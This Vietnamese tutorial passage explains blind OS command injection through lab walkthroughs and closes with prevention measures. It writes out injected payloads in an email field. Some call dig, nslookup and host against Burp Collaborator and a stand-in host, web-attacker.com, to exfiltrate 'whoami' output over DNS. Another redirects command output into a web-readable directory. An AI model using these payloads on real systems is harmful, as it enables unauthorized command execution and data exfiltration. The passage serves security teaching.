II. Phân tích và khai thác lỗ hổng OS command injection (tiếp)
6. Kiểm tra lỗ hổng Blind OS command injection bằng kỹ thuật out-of-band (OAST)
Với phương pháp sử dụng time delay phía trên có thể xảy ra sự sai sót và không rõ ràng bởi nó có thể bị ảnh hưởng bởi nhiều yếu tố như tốc độ đường truyền, tình trạng phản hồi hệ thống không đồng bộ. Chúng ta cần tìm kiếm một phương pháp "chắc chắn" hơn.
Ý tưởng sẽ là tạo ra một "tương tác" từ mục tiêu tới một "địa điểm" khác, mà sự "tương tác" này là có dấu hiệu. Để làm được điều này, có thể inject lệnh shell vào mục tiêu, thực hiện DNS Lookup tới một domain khác mà chúng ta có quyền xem thông tin các request gửi tới. Tính năng Burp Collaborator (trong bản Burp Suite Professional) đáp ứng hoàn toàn nhu cầu này bởi nó có chứa IP public và domain riêng, chứa dịch vụ DNS phân giải tên miền và tìm kiếm ip tương ứng. Mỗi khi có sự kiện tương tác tới, Burp Collaborator đều gọi tới dịch vụ DNS, đó cũng là lí do vì sao luôn có gói tin DNS tới trước các gói tin HTTP, HTTPS.
Bình thường khi tấn công mục tiêu, thì chỉ có trao đổi qua lại giữa chúng ta và mục tiêu, không có sự tham gia của một đối tượng/thiết bị thứ ba, có thể hiểu quá trình hoàn toàn “khép kín”. Khi có sự tham gia của một đối tượng thứ ba để hỗ trợ cuộc khai thác sẽ được gọi là tấn công ngoài băng tần (OAST). Khi inject payload tới mục tiêu, trong đó thực hiện công việc gửi truy vấn tới url Burp Collaborator, nếu payload thực thi thành công, hệ thống sẽ tạo một sự tương tác tới Burp Collaborator, chúng ta có thể kiểm tra sự kiện tương tác này. Tóm lại, DNS lookup thông qua Burp Collaborator có thể giúp chúng ta xác định chính xác về sự tồn tại các lỗ hổng dạng blind ẩn chứa trong trang web. Các lệnh thường sử dụng trong các trường hợp này có thể kể đến như dig
, nslookup
, ...
Phân tích lab Blind OS command injection with out-of-band interaction
Miêu tả: Trang web chứa lỗ hổng Command injection dạng blind trong chức năng feedback từ người dùng. Biết rằng hệ thống thực thi lệnh shell tại server với các tham số đầu vào từ người dùng, tuy nhiên output không được hiển thị. Để giải quyết bài lab, chúng ta cần thực hiện DNS lookup với Burp Collaborator nhằm kiểm tra lỗ hổng blind OS Command injection.
Kiểm tra DNS lookup trong chức năng Submit feedback bằng cách sử dụng lệnh dig
, kết quả tham số email trả về phản hồi thành công:
Payload: email=hacker%40gmail.com;dig+2uxow197tguhtquv3keggqawpnvpje.burpcollaborator.net
Ngoài ra có thể sử dụng một số lệnh khác, chẳng hạn nslookup
:
Payload: email=hacker%40gmail.com||nslookup+9gqvi8vefngofxg2pr0n2xw3buhy5n.burpcollaborator.net||
7. Khai thác lỗ hổng Blind OS command injection bằng kỹ thuật out-of-band (OAST)
Có phải bạn đang thắc mắc, kỹ thuật out-of-band (OAST) chỉ có tác dụng kiểm tra sự tồn tại của dạng lỗ hổng này? Bởi tính chất "blind" của lỗ hổng, vậy thì làm cách nào để khai thác các thông tin cũng như dữ liệu nhạy cảm? Đừng lo lắng, kỹ thuật out-of-band hoàn toàn có thể giúp chúng ta khai thác thông tin cũng như dữ liệu nhạy cảm từ mục tiêu. Thật vậy, xét payload sau:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Câu lệnh thực thi một truy vấn DNS lookup tới kgji2ohoyw.web-attacker.com
đồng thời chứa kết quả lệnh whoami
như sau:
wwwuser.kgji2ohoyw.web-attacker.com
Phân tích lab Blind OS command injection with out-of-band data exfiltration
Miêu tả: Trang web chứa lỗ hổng Command injection dạng blind trong chức năng feedback từ người dùng. Biết rằng hệ thống thực thi lệnh shell tại server với các tham số đầu vào từ người dùng, tuy nhiên output không được hiển thị. Để giải quyết bài lab, chúng ta cần thực hiện lệnh whoami
và trích xuất kết quả hiển thị thông qua truy vấn DNS tới Burp Collaborator.
Kiểm tra DNS lookup trong chức năng Submit feedback bằng cách sử dụng lệnh dig
, kết quả tham số email trả về phản hồi thành công:
Payload: email=hacker%40gmail.com||dig+c6jy8blh5q6r5065fuqqs0m61x72vr.burpcollaborator.net||
Trích xuất kết quả lệnh whoami
thông qua truy vấn DNS tới Burp Collaborator:
- Payload 1:
email=hacker%40gmail.com||host+`whoami`.c6jy8blh5q6r5065fuqqs0m61x72vr.burpcollaborator.net||
- Payload 2:
email=hacker%40gmail.com||nslookup+`whoami`.br6xta6gqprqqzr40tbpdz75mwsnib7.burpcollaborator.net||
8. Khai thác lỗ hổng Blind OS command injection bằng cách ghi dữ liệu output tại các thư mục khác
Chúng ta có thể "chuyển tiếp" output từ payload inject vào một tệp trong thư mục gốc chúng ta có quyền ghi, sau đó truy xuất bằng trình duyệt để đọc nội dung output đó. Ví dụ: các tài nguyên tĩnh (static resources) của hệ thống (hình ảnh) được lưu trữ trong thư mục /var/www/static/images
, do chúng ta có quyền truy cập các tài nguyên này, nếu hệ thống cài đặt cho phép người dùng ghi dữ liệu tại thư mục này, chúng ta có thể thực thi payload như sau:
& whoami > /var/www/static/images/whoami.txt &
Lệnh shell trên thực hiện ghi kết quả lệnh whoami
vào tệp whoami.txt
tại thư mục /var/www/static/images
. Sau đó chúng ta có thể truy cập tới URL https://vulnerable-website.com/images/whoami.txt
đọc nội dung output.
Phân tích lab Blind OS command injection with output redirection
Miêu tả: Trang web chứa lỗ hổng Command injection dạng blind trong chức năng feedback từ người dùng. Biết rằng hệ thống thực thi lệnh shell tại server với các tham số đầu vào từ người dùng, tuy nhiên output không được hiển thị. Ngoài ra, chúng ta có thể ghi dữ liệu tại thư mục /var/www/images/
. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng thực thi lệnh whoami
lấy tên người dùng hiện tại trong server.
Tương tự như lab trên, kiểm tra DNS lookup trong chức năng Submit feedback, tham số email thực thi thành công:
Chúng ta có quyền ghi dữ liệu tại thư mục /var/www/images/
, thử tạo một file hacker.txt
với lệnh touch
:
Thêm nội dung cho hacker.txt
:
Truy cập file hacker.txt
kiểm tra nội dung có được hiển thị không:
Ta thấy nội dung được hiển thị thành công, bởi vậy có thể sử dụng lệnh whoami
ghi tên người dùng hiện tại trong tệp hacker.txt
:
Bài lab được hoàn thành!
Bên cạnh đó, thay vì sử dụng cách ghi và đọc dữ liệu trong thư mục /var/www/images
, chúng ta có thể ánh xạ dữ liệu ra domain host Burp Collaborator.
Payload: email=hacker%40gmail.com||host+`whoami`.z11l3yg40d1e0n1sahldnnhtwk2lqa.burpcollaborator.net||
III. Các biện pháp ngăn chặn lỗ hổng OS command injection
Cách tốt nhất để ngăn chặn lỗ hổng này có lẽ là loại bỏ hoàn toàn việc sử dụng các lệnh shell trong quá trình sản phẩm hoạt động. Nên thay thế chúng bằng cách sử dụng các API đã được kiểm chứng là an toàn và bảo mật. Đôi khi, một hệ thống không thể tránh khỏi việc sử dụng các input từ người dùng truyền vào các lệnh shell, có thể thực hiện một số biện pháp ngăn chặn sau đây:
- Có một quá trình kiểm tra chặt chẽ đầu vào từ người dùng như ngăn chặn tất cả các ký tự đặc biệt không cần thiết, yêu cầu input cần tuân theo một regular expression cụ thể.
- Sử dụng kết hợp blacklist, whitelist các từ khóa.